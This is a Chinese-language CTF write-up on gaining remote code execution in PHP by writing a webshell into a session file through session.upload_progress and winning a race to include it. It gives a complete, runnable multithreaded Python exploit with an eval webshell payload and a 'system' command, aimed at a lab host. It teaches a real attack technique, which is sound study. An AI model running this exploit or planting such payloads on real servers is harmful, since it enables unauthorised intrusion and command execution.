刷题时遇到的一道题目,一直没有思路,看完wp之后学会的新姿势。

知识铺垫

php5.4之后新增了一个功能:session.upload_progress

php.ini有以下几个默认选项

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

其中:

  • enabled=on表示upload_progress功能启用,当上传文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中;
  • cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容;
  • name出现在表单中时,php会报告上传进度,最重要的是:name的值可控
  • prefix为key前缀,它和name拼接后作为session中的键名。

存储机制

当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID 。

Linux中,session文件一般保存在以下目录:

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

利用方式

根据上述session的配置和机制,可以想到:通过session.upload_progress将恶意代码写入session文件,再通过inclue实现rce。

难点一

在php中,只有调用了session_start()才能开启session,那么在没有使用session_start()时,如何开启session?

默认情况下,php配置中的session.use_strict_mode是未启用的,也就意味着cookie中的PHPSESSID是可以自定义的。例如:

当设置PHPSESSID=yvling时,服务器会生成一个sess_yvling的session文件并保存在临时目录下,此时php自动初始化session,产生一个键值对,键名为配置文件中设置的prefix+name

难点二

默认情况下,session.upload_progress.cleanup是启用的, 也就意味着在上传结束后,session文件中有关文件上传的信息会被马上删除,那么怎么才能将恶意代码包含至文件中呢?

这里使用条件竞争的方式,使用脚本不断发送上传数据包,再用相同方式发送文件包含的数据包,就能包含到了。

Exp

import io
import sys
import requests
import threading


sessid = "yvling"
data = { "cmd":"system('ls /');" }
url = "http://node5.anna.nssctf.cn:28960/index.php"
params = "QAQ"
cahce = "/tmp"
filename = "yvling.txt"

def write(session):
    while True:
        f = io.BytesIO(b"a" * 1024 * 50)
        resp = session.post(
            url=url, 
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST['cmd']);?>"
            }, 
            files={
                "file": (filename, f)
            }, 
            cookies={
                "PHPSESSID": sessid
            } 
        )


def read(session):
    while True:
        resp = session.post(url=f"{url}?{params}={cahce}/sess_{sessid}", data=data)
        if filename in resp.text:
            print(resp.text)
            event.clear()
            sys.exit(0)
        else:
            # print("retry...")
            pass


if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()